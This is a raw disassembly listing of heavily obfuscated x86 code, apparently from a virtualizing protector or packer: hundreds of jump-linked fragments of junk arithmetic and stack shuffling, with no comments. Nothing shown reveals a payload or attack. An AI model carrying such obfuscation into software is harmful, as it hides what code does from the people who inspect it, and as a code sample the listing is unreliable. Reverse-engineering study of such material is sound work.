loc_583D8A:				; CODE XREF: ud2_____:0057FD68j
		push	7C4Fh
		mov	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583D97:				; CODE XREF: ud2_____:00584314j
		mov	[esp], ebp
		push	581Eh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_57F4CB
; ---------------------------------------------------------------------------


loc_583DB5:				; CODE XREF: ud2_____:0058A2E8j
		sub	edi, 0BCD5EEB6h
		add	ecx, edi
		jmp	loc_58F39D
; ---------------------------------------------------------------------------


loc_583DC2:				; CODE XREF: ud2_____:00583E07j
		pop	eax
		add	edi, 243B24F2h
		sub	edi, ecx
		sub	edi, 243B24F2h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5824B6
; ---------------------------------------------------------------------------


loc_583DDF:				; CODE XREF: ud2_____:00587B11j
		push	ebx
		jmp	loc_58908F
; ---------------------------------------------------------------------------


loc_583DE5:				; CODE XREF: ud2_____:0058791Fj
		dec	bh
		jmp	loc_58834F
; ---------------------------------------------------------------------------


loc_583DEC:				; CODE XREF: ud2_____:00586ED9j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_589AC0
; ---------------------------------------------------------------------------


loc_583DFF:				; CODE XREF: ud2_____:0058D2E9j
		add	ecx, eax
		add	ecx, 21142040h
		jmp	loc_583DC2
; ---------------------------------------------------------------------------


loc_583E0C:				; CODE XREF: ud2_____:005919C1j
		pop	eax
		jmp	loc_589406
; ---------------------------------------------------------------------------


loc_583E12:				; CODE XREF: ud2_____:0057F841j
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	esi, 694966F8h
		jmp	loc_588D0B
; ---------------------------------------------------------------------------


loc_583E24:				; CODE XREF: ud2_____:0058B53Dj
		mov	ebx, 24944B63h
		jmp	loc_58E790
; ---------------------------------------------------------------------------


loc_583E2E:				; CODE XREF: ud2_____:0058B13Aj
		xor	edx, eax
		neg	eax
		xchg	eax, edx
		shr	edx, 2
		push	ebp
		mov	ebp, 0D2A1329h
		xor	edx, ebp
		pop	ebp
		jmp	loc_58B352
; ---------------------------------------------------------------------------


loc_583E44:				; CODE XREF: ud2_____:00591CC7j
		mov	esp, [esp]
		idiv	cx
		jmp	loc_591ADD
; ---------------------------------------------------------------------------


loc_583E4F:				; CODE XREF: ud2_____:0058594Fj
		add	ecx, 366161F3h
		add	ecx, edi
		sub	ecx, 366161F3h
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5890C8
; ---------------------------------------------------------------------------


loc_583E78:				; CODE XREF: ud2_____:005879CEj
		add	eax, 90C7CD9Ch
		mov	ebx, eax
		jmp	loc_58EEAA
; ---------------------------------------------------------------------------


loc_583E84:				; CODE XREF: ud2_____:00591505j
		mov	ebp, 4
		add	ebx, 3B0B677Dh
		add	ebx, ebp
		push	6163h
		jmp	loc_586C89
; ---------------------------------------------------------------------------


loc_583E9B:				; CODE XREF: ud2_____:005847C7j
		sub	eax, 13C55578h
		sub	eax, ebp
		push	ecx
		mov	ecx, 13C55578h
		jmp	loc_592489
; ---------------------------------------------------------------------------


loc_583EAD:				; CODE XREF: ud2_____:00588342j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58DB63
; ---------------------------------------------------------------------------


loc_583EB8:				; CODE XREF: ud2_____:00589881j
		mov	esi, [esp]
		jmp	loc_586B1F
; ---------------------------------------------------------------------------


loc_583EC0:				; CODE XREF: ud2_____:0058E54Cj
		mov	esp, [esp]
		push	1202h
		jmp	loc_590E97
; ---------------------------------------------------------------------------


loc_583ECD:				; CODE XREF: ud2_____:005840B9j
		push	575Eh
		mov	[esp], ebx
		mov	ebx, edx
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58DD09
; ---------------------------------------------------------------------------


loc_583EE4:				; CODE XREF: ud2_____:00590D9Fj
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		jmp	loc_58A740
; ---------------------------------------------------------------------------


loc_583EF4:				; CODE XREF: ud2_____:005878A9j
		mov	eax, 321D12ABh
		jmp	loc_587BB0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_583F0C:				; CODE XREF: ud2_____:005922F1j
		shr	edx, 1
		sub	edx, 0F8C9D26Dh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	5DE07E0h
		pop	eax
		sub	ebx, eax
		jmp	loc_58CC8A
; ---------------------------------------------------------------------------


loc_583F2D:				; CODE XREF: ud2_____:0058DF74j
		push	2A61395Eh
		pop	ebx
		push	ebp
		mov	ebp, 52510829h
		or	ebx, ebp
		jmp	loc_590A00
; ---------------------------------------------------------------------------


loc_583F40:				; CODE XREF: ud2_____:00582E87j
		push	ebx
		mov	ebx, 441C60A4h
		mov	ecx, 496C2BF7h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, 0F28FB4B1h
		jmp	loc_583716
; ---------------------------------------------------------------------------


loc_583F60:				; CODE XREF: ud2_____:0058314Cj
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58C143
; ---------------------------------------------------------------------------


loc_583F7E:				; CODE XREF: ud2_____:00591A83j
		add	esi, ebx
		jmp	loc_57E81C
; ---------------------------------------------------------------------------


loc_583F85:				; CODE XREF: ud2_____:00581971j
		add	esp, 4
		jmp	loc_57EFB8
; ---------------------------------------------------------------------------


loc_583F8D:				; CODE XREF: ud2_____:005928B5j
		xchg	ch, dh
		push	cx
		not	byte ptr [esp+1]
		pop	cx
		xchg	ch, dh
		jmp	loc_59079A
; ---------------------------------------------------------------------------


loc_583F9E:				; CODE XREF: ud2_____:005826A4j
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	5F7Eh
		mov	[esp], ebp
		jmp	loc_589B1D
; ---------------------------------------------------------------------------


loc_583FB3:				; CODE XREF: ud2_____:005825E2j
		push	esp
		jmp	loc_5886A7
; ---------------------------------------------------------------------------


loc_583FB9:				; CODE XREF: ud2_____:00583536j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_587ACE
; ---------------------------------------------------------------------------


loc_583FCC:				; CODE XREF: ud2_____:00584F01j
		push	ecx
		jmp	loc_590453
; ---------------------------------------------------------------------------


loc_583FD2:				; CODE XREF: ud2_____:00592AE3j
		mov	edx, 5D3D7C1Ch
		sub	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5810C8
; ---------------------------------------------------------------------------


loc_583FEF:				; CODE XREF: ud2_____:00583611j
		pop	edi
		add	esi, eax
		jmp	loc_580D03
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 6E900AFFh
		push	ecx
		mov	ecx, 0EF9624Bh
		not	ecx
		jmp	loc_580177
; ---------------------------------------------------------------------------


loc_58400A:				; CODE XREF: ud2_____:00590D47j
		sub	ecx, edi
		pop	edi
		pop	ebp
		xor	ecx, 677506Eh
		sub	eax, 54BE6993h
		push	esi
		mov	esi, 6BD91F40h
		sub	esi, 6A152E03h
		shl	esi, 1
		and	esi, 46EF2F0Bh
		sub	esi, 74BB1507h
		and	esi, 3FA953F4h
		xor	esi, 266F1A80h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ecx
		sub	eax, 2BE71B80h
		jmp	loc_585FFD
; ---------------------------------------------------------------------------


loc_584056:				; CODE XREF: ud2_____:0058DD89j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_587C54
; ---------------------------------------------------------------------------


loc_584066:				; CODE XREF: ud2_____:0058A095j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_57EA11
; ---------------------------------------------------------------------------


loc_584074:				; CODE XREF: ud2_____:005923C4j
		mov	[esp], edi
		mov	edi, 0Ah
		push	eax
		jmp	loc_5869D7
; ---------------------------------------------------------------------------


loc_584082:				; CODE XREF: ud2_____:0058B268j
		add	eax, 4
		jmp	loc_58F6F1
; ---------------------------------------------------------------------------


loc_58408C:				; CODE XREF: ud2_____:00589997j
		push	ebp
		mov	ebp, 44265B05h
		or	ecx, ebp
		pop	ebp
		or	ecx, 4FF456BAh
		push	edi
		mov	edi, 692213EFh
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_585A5C
; ---------------------------------------------------------------------------


loc_5840B1:				; CODE XREF: ud2_____:00592863j
		push	2360h
		mov	[esp], ecx
		jmp	loc_583ECD
; ---------------------------------------------------------------------------


loc_5840BE:				; CODE XREF: ud2_____:00586684j
		inc	ebp
		or	ebp, 201372A3h
		add	ebp, 52EC084Dh
		add	eax, ebp
		pop	ebp
		jmp	loc_591C1D
; ---------------------------------------------------------------------------


loc_5840D3:				; CODE XREF: ud2_____:00582EF7j
		add	bh, 0C5h
		jmp	loc_58C654
; ---------------------------------------------------------------------------


loc_5840DB:				; CODE XREF: ud2_____:00592E65j
		push	eax
		pop	edi
		jmp	loc_58785F
; ---------------------------------------------------------------------------


loc_5840E2:				; CODE XREF: ud2_____:0058ADE7j
		sub	ecx, 67D34736h
		pop	edx
		jmp	loc_58E671
; ---------------------------------------------------------------------------


loc_5840EE:				; CODE XREF: ud2_____:0057EF57j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 15E57CB9h
		shl	edi, 4
		sub	edi, 27C565B5h
		mov	ebp, edi
		pop	edi
		add	ebp, 98302Bh
		jmp	loc_58EBF9
; ---------------------------------------------------------------------------


loc_584116:				; CODE XREF: ud2_____:00581A69j
		xor	esi, 9097E23Ch
		sub	ebp, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_586D25
; ---------------------------------------------------------------------------


loc_584127:				; CODE XREF: ud2_____:0057E0EAj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		neg	al
		shr	al, 7
		push	ecx
		mov	cl, 48h
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	cl, al
		pop	eax
		sub	cl, 9Ch
		push	ebx
		jmp	loc_592DB2
; ---------------------------------------------------------------------------


loc_584157:				; CODE XREF: ud2_____:00586173j
		xor	ecx, 8D7E8A51h
		mov	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 284525B8h
		sub	ebx, 0F89B1C34h
		or	eax, ebx
		pop	ebx
		shr	eax, 2
		push	ecx
		mov	ecx, 5D8D72BDh
		shl	ecx, 2
		xor	ecx, 479FCD23h
		sub	eax, ecx
		pop	ecx
		sub	esi, eax
		pop	eax
		and	ecx, esi
		pop	esi
		xor	ecx, 134E48FCh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 321C0B34h
		mov	esi, ecx
		pop	ecx
		xor	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_583163
; ---------------------------------------------------------------------------


loc_5841BD:				; CODE XREF: ud2_____:0058C047j
		xchg	edi, edx
		jmp	loc_58D378
; ---------------------------------------------------------------------------


loc_5841C4:				; CODE XREF: ud2_____:0057E5C8j
		sub	ch, bh
		pop	ebx
		jmp	loc_591B62
; ---------------------------------------------------------------------------


loc_5841CC:				; CODE XREF: ud2_____:0058C340j
		pop	eax
		mov	ch, bl
		pop	ebx
		mov	bh, ch
		push	dword ptr [esp]
		jmp	loc_590BAD
; ---------------------------------------------------------------------------


loc_5841DA:				; CODE XREF: ud2_____:00583C73j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0FC87A8ABh
		mov	ecx, ebx
		pop	ebx
		add	ecx, ebp
		jmp	loc_58EB2E
; ---------------------------------------------------------------------------


loc_5841F0:				; CODE XREF: ud2_____:00583765j
		add	esp, 4
		xor	eax, 431903AEh
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5841FD:				; CODE XREF: ud2_____:005877D8j
		mov	edi, esp
		push	esi
		jmp	loc_58B86B
; ---------------------------------------------------------------------------


loc_584205:				; CODE XREF: ud2_____:0057F058j
		push	eax
		mov	eax, esp
		push	esi
		push	ebp
		push	732E3000h
		pop	ebp
		dec	ebp
		sub	ebp, 732E2FFBh
		jmp	loc_58EC50
; ---------------------------------------------------------------------------


loc_58421C:				; CODE XREF: ud2_____:0058CA38j
		or	ebp, 37DF49E8h
		and	ebp, 41FE2BDCh
		shl	ebp, 3
		xor	ebp, 69B2FBFh
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	edi, 4C65B66h
		inc	edi
		add	edi, 676D25B6h
		jmp	loc_58EC88
; ---------------------------------------------------------------------------


loc_58424E:				; CODE XREF: ud2_____:00582891j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58CDD2
; ---------------------------------------------------------------------------


loc_58425F:				; CODE XREF: ud2_____:0057FED6j
		pop	ebx
		jmp	loc_5890B7
; ---------------------------------------------------------------------------


loc_584265:				; CODE XREF: ud2_____:00584465j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0
		push	ebp
		pop	dword ptr [ebx]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		pop	ebx


loc_584296:				; CODE XREF: ud2_____:00586A3Ej
		push	edx
		jmp	loc_584450
; ---------------------------------------------------------------------------


loc_58429C:				; CODE XREF: ud2_____:005901E4j
		inc	ebp
		push	ebx
		jmp	loc_586281
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2B2Ch
		jmp	loc_57EC29
; ---------------------------------------------------------------------------


loc_5842B1:				; CODE XREF: ud2_____:00588BF6j
		pop	esp
		mov	[esp], eax
		jmp	loc_587C42
; ---------------------------------------------------------------------------


loc_5842BA:				; CODE XREF: ud2_____:0058A90Dj
		or	edx, 77AD1C75h
		push	50F9h
		mov	[esp], eax
		mov	eax, 1B3F03C3h
		sub	eax, 6D574D53h
		neg	eax
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		inc	eax
		jmp	loc_5860F8
; ---------------------------------------------------------------------------


loc_5842DE:				; CODE XREF: ud2_____:0058A73Bj
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_582F20
; ---------------------------------------------------------------------------


loc_5842F3:				; CODE XREF: ud2_____:005873FCj
		mov	ax, [esp]
		add	esp, 2
		add	bl, al
		jmp	loc_589DB9
; ---------------------------------------------------------------------------


loc_584304:				; CODE XREF: ud2_____:0058FA1Ej
		pop	ebx
		jmp	loc_58A407
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_583D97
; ---------------------------------------------------------------------------


loc_584319:				; CODE XREF: ud2_____:0059291Bj
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5920ED
; ---------------------------------------------------------------------------


loc_584320:				; CODE XREF: ud2_____:005882B4j
		push	ebp
		mov	ebp, 4
		sub	esi, 1B0213Fh
		jmp	loc_57EDB7
; ---------------------------------------------------------------------------


loc_584331:				; CODE XREF: ud2_____:0057E14Cj
		sub	ebp, 265E2776h
		add	ebp, eax
		add	ebp, 265E2776h
		pop	eax
		jmp	loc_586C54
; ---------------------------------------------------------------------------


loc_584345:				; CODE XREF: ud2_____:0057F37Ej
		xchg	bl, [esp]
		not	bl
		xchg	bl, [esp]
		pop	eax
		inc	al
		sub	al, 73h
		mov	cl, al
		pop	eax
		push	eax
		jmp	loc_57EAAE
; ---------------------------------------------------------------------------


loc_58435B:				; CODE XREF: ud2_____:00589D54j
		add	esi, 4
		push	42E1h
		mov	[esp], edi
		mov	edi, 78CD1508h
		jmp	loc_58FC52
; ---------------------------------------------------------------------------


loc_584373:				; CODE XREF: ud2_____:0058FB10j
		xor	eax, [esp]
		jmp	loc_5904A8
; ---------------------------------------------------------------------------


loc_58437B:				; CODE XREF: ud2_____:00588E8Aj
		xor	edi, [esp]
		jmp	loc_591F1D
; ---------------------------------------------------------------------------


loc_584383:				; CODE XREF: ud2_____:0058D6F6j
		sub	edx, ecx
		pop	ecx
		mov	esi, [esp]
		jmp	loc_57FE62
; ---------------------------------------------------------------------------


loc_58438E:				; CODE XREF: ud2_____:00585212j
		mov	esi, 2307036Eh
		push	ebx
		mov	ebx, 59B027E6h
		and	esi, ebx
		mov	ebx, [esp]
		push	5B22h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esi, 33C907DCh
		jmp	loc_591F8E
; ---------------------------------------------------------------------------


loc_5843C3:				; CODE XREF: ud2_____:0058C424j
		dec	esi
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	609D4978h
		pop	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		or	ecx, 37CE5B66h
		jmp	loc_58CB2F
; ---------------------------------------------------------------------------


loc_5843E5:				; CODE XREF: ud2_____:00582F30j
		mov	eax, 15786B04h
		and	ecx, eax
		pop	eax
		jmp	loc_587945
; ---------------------------------------------------------------------------


loc_5843F2:				; CODE XREF: ud2_____:0058664Dj
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	355Bh
		mov	[esp], ebx
		mov	ebx, 333C256Fh
		or	ebx, 3FC21068h
		push	ecx
		mov	ecx, 32084865h
		add	ecx, 317D6440h
		xor	ecx, 6385ACA4h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_57F80D
; ---------------------------------------------------------------------------


loc_584432:				; CODE XREF: ud2_____:005831E5j
		mov	esi, ecx
		pop	ecx
		jmp	loc_5886BF
; ---------------------------------------------------------------------------


loc_58443A:				; CODE XREF: ud2_____:0058B8E8j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_5837DA
; ---------------------------------------------------------------------------


loc_584450:				; CODE XREF: ud2_____:00584297j
		mov	edx, esp
		jmp	loc_589C19
; ---------------------------------------------------------------------------


loc_584457:				; CODE XREF: ud2_____:0058DDCFj
		mov	ah, 2Bh
		mov	ch, ah
		pop	eax
		add	bl, ch
		jmp	loc_57E3D8
; ---------------------------------------------------------------------------


loc_584463:				; CODE XREF: ud2_____:005922FAj
		add	ebx, edx
		jmp	loc_584265
; ---------------------------------------------------------------------------


loc_58446A:				; CODE XREF: ud2_____:0057E380j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_590C92
; ---------------------------------------------------------------------------


loc_584473:				; CODE XREF: ud2_____:0058D18Dj
		mov	ecx, [esp]
		jmp	loc_58A1C2
; ---------------------------------------------------------------------------


loc_58447B:				; CODE XREF: ud2_____:00580B23j
		push	ebx
		mov	bl, ah
		mov	dh, bl
		pop	ebx
		pop	eax
		push	ebx
		push	40E0h
		mov	[esp], eax
		mov	al, dh
		mov	bl, al
		jmp	loc_581B22
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_581595
; ---------------------------------------------------------------------------


loc_58449C:				; CODE XREF: ud2_____:005882AAj
		mov	ebx, esi
		jmp	loc_5818F7
; ---------------------------------------------------------------------------


loc_5844A3:				; CODE XREF: ud2_____:0058332Dj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_589DD5
; ---------------------------------------------------------------------------


loc_5844AE:				; CODE XREF: ud2_____:00583CA6j
		or	edx, eax
		shl	edx, 1
		push	0E1Ah
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_59296D
; ---------------------------------------------------------------------------


loc_5844DC:				; CODE XREF: ud2_____:0057FD38j
		mov	esp, [esp]
		jmp	loc_58C51D
; ---------------------------------------------------------------------------


loc_5844E4:				; CODE XREF: ud2_____:0058EB5Cj
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_5886FA
; ---------------------------------------------------------------------------


loc_5844EE:				; CODE XREF: ud2_____:00587A0Bj
		push	cx
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5844F6:				; CODE XREF: ud2_____:00589439j
		mov	[esp], esi
		mov	esi, 55632D2Bh
		sub	edx, esi
		pop	esi
		sub	edx, 61390000h
		push	ebp
		mov	ebp, 325951E6h
		sub	ebp, 0CC4EDA4Dh
		add	edx, ebp
		jmp	loc_587479
; ---------------------------------------------------------------------------


loc_58451A:				; CODE XREF: ud2_____:005853FBj
		mov	ecx, 3CD254B1h
		shl	ecx, 6
		shr	ecx, 5
		inc	ecx
		jmp	loc_5886E9
; ---------------------------------------------------------------------------


loc_58452B:				; CODE XREF: ud2_____:0058D6AEj
		add	edi, edx
		push	ecx
		jmp	loc_58A5D0
; ---------------------------------------------------------------------------


loc_584533:				; CODE XREF: ud2_____:00581877j
		xor	edx, 32786237h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2DE52375h
		push	esi
		mov	esi, 0
		sub	esi, eax
		xchg	eax, esi
		pop	esi
		shr	eax, 3
		xchg	eax, esi
		inc	esi
		jmp	loc_584DA9
; ---------------------------------------------------------------------------


loc_58455B:				; CODE XREF: ud2_____:00588269j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		push	esi
		mov	eax, [esp]
		push	eax
		jmp	loc_584EDB
; ---------------------------------------------------------------------------


loc_58456C:				; CODE XREF: ud2_____:00582C5Cj
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_591E18
		push	3C4Bh
		mov	[esp], eax
		jmp	loc_57E253
; ---------------------------------------------------------------------------


loc_584592:				; CODE XREF: ud2_____:0057E730j
		push	1045h
		mov	[esp], edi
		push	esi
		mov	esi, 2EDD6C80h
		mov	edi, 53A1C559h
		sub	edi, 32E5F0Dh
		sub	edi, esi
		add	edi, 32E5F0Dh
		pop	esi
		sub	[esp+8], edi
		push	dword ptr [esp]
		jmp	loc_584A61
; ---------------------------------------------------------------------------


loc_5845C0:				; CODE XREF: ud2_____:0058841Bj
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 5A3218B9h
		jmp	loc_5848A8
; ---------------------------------------------------------------------------


loc_5845DC:				; CODE XREF: ud2_____:00585438j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57E832
; ---------------------------------------------------------------------------


loc_5845F2:				; CODE XREF: ud2_____:00584893j
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_58129B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		jmp	loc_588904
; ---------------------------------------------------------------------------


loc_58460A:				; CODE XREF: ud2_____:00587243j
		mov	ebx, 4
		push	ebx
		jmp	loc_58E834
; ---------------------------------------------------------------------------


loc_584615:				; CODE XREF: ud2_____:00581681j
		push	edi
		mov	edi, 8F71BF5Ch
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, eax
		pop	eax
		jmp	loc_5902DB
; ---------------------------------------------------------------------------


loc_58462B:				; CODE XREF: ud2_____:0058AC84j
		pop	eax
		jmp	loc_588010
; ---------------------------------------------------------------------------


loc_584631:				; CODE XREF: ud2_____:00591210j
		pop	esi
		jmp	loc_58E13A
; ---------------------------------------------------------------------------


loc_584637:				; CODE XREF: ud2_____:00585910j
		push	esi
		mov	esi, 2FC7236h
		xor	ebp, esi
		jmp	loc_58BB9C
; ---------------------------------------------------------------------------


loc_584644:				; CODE XREF: ud2_____:00584E7Cj
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_587F95
; ---------------------------------------------------------------------------


loc_584651:				; CODE XREF: ud2_____:0058612Bj
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5888FB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_590118
; ---------------------------------------------------------------------------


loc_58466F:				; CODE XREF: ud2_____:0058CD1Aj
		mov	edi, 4FAA4B2Fh
		push	ebx
		mov	ebx, 4F997E33h
		jmp	loc_58BDC4
; ---------------------------------------------------------------------------


loc_58467F:				; CODE XREF: ud2_____:005860B2j
		push	ebx
		mov	ebx, 3EAE1E79h
		shr	ebx, 6
		xor	ebx, 6E980560h
		add	ebx, 0FFFFFFFFh
		xor	ebx, 6E62BD1Ah
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_581A6E
; ---------------------------------------------------------------------------


loc_5846A1:				; CODE XREF: ud2_____:0058FF80j
		add	[esp+4], edx
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5893D6
; ---------------------------------------------------------------------------


loc_5846AE:				; CODE XREF: ud2_____:00588AA5j
		pop	esi
		push	edx
		mov	edx, 7B0A4174h
		xor	eax, edx
		pop	edx
		add	eax, 0A6EBC88Dh
		jmp	loc_58528A
; ---------------------------------------------------------------------------


loc_5846C2:				; CODE XREF: ud2_____:0058562Bj
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_58246C
; ---------------------------------------------------------------------------


loc_5846D3:				; CODE XREF: ud2_____:0058BB97j
		mov	[esp], ecx
		jmp	loc_58B490
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 13ED6FC8h
		sub	eax, 6C7814FDh
		sub	eax, 340E4E4Bh
		add	eax, ebx
		add	eax, 340E4E4Bh
		jmp	loc_58027B
; ---------------------------------------------------------------------------


loc_5846F7:				; CODE XREF: ud2_____:00590915j
		pop	ecx
		add	ebx, ebp
		jmp	loc_581165
; ---------------------------------------------------------------------------


loc_5846FF:				; CODE XREF: ud2_____:00585259j
		mov	[esp], esi
		mov	esi, 7B4E35D5h
		shl	esi, 3
		shl	esi, 3
		xor	esi, 39E35503h
		jmp	loc_585E7D
; ---------------------------------------------------------------------------


loc_584718:				; CODE XREF: ud2_____:00587B8Aj
		add	esi, 7BCD2C72h
		add	esi, 2B757ACDh
		jmp	loc_591392
; ---------------------------------------------------------------------------


loc_584729:				; CODE XREF: ud2_____:0058FA26j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59222B
; ---------------------------------------------------------------------------


loc_584738:				; CODE XREF: ud2_____:00589D4Ej
		pop	esp
		add	esp, 4
		jmp	loc_5904CD
; ---------------------------------------------------------------------------


loc_584741:				; CODE XREF: ud2_____:00583856j
		push	2A2Ah
		jmp	loc_593043
; ---------------------------------------------------------------------------


loc_58474B:				; CODE XREF: ud2_____:0058780Ej
		xchg	edx, esi
		inc	esi
		push	ebx
		mov	ebx, 4B2D74ECh
		xor	ebx, 572B5B9Ah
		jmp	loc_58F004
; ---------------------------------------------------------------------------


loc_58475F:				; CODE XREF: ud2_____:0058EBF4j
		add	esi, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		jmp	loc_585F15
; ---------------------------------------------------------------------------


loc_584773:				; CODE XREF: ud2_____:00587153j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3FBEh
		mov	[esp], eax
		jmp	loc_5825BD
; ---------------------------------------------------------------------------


loc_584787:				; CODE XREF: ud2_____:005839A3j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58E6C1
; ---------------------------------------------------------------------------


loc_584792:				; CODE XREF: ud2_____:0058FB32j
		push	ebp
		mov	ebp, 1F567F21h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58F7A7
; ---------------------------------------------------------------------------


loc_5847A3:				; CODE XREF: ud2_____:005829D5j
		dec	edx
		jmp	loc_587800
; ---------------------------------------------------------------------------


loc_5847A9:				; CODE XREF: ud2_____:005813ADj
		pop	esi
		push	ebx
		push	eax
		mov	eax, 235A404Fh
		and	eax, 338B7E62h
		dec	eax
		add	eax, 67AD4C8Fh
		xor	eax, 792F1037h
		push	ebp
		mov	ebp, 0E43C4B17h
		jmp	loc_583E9B
; ---------------------------------------------------------------------------


loc_5847CC:				; CODE XREF: ud2_____:0058B292j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		jmp	loc_588558
; ---------------------------------------------------------------------------


loc_5847DC:				; CODE XREF: ud2_____:00592EB3j
		add	esi, 179E1D36h
		dec	esi
		and	esi, 62131884h
		sub	esi, 1C507D81h
		xor	esi, 1EED284Ah
		inc	esi
		add	esi, 0A4D24D3Ah
		add	eax, esi
		pop	esi
		add	eax, 2
		jmp	loc_580EE3
; ---------------------------------------------------------------------------


loc_584807:				; CODE XREF: ud2_____:005805A3j
		push	eax
		mov	ah, cl
		jmp	loc_58B7A8
; ---------------------------------------------------------------------------


loc_58480F:				; CODE XREF: ud2_____:0057E7AAj
		sub	ecx, ebp
		pop	ebp
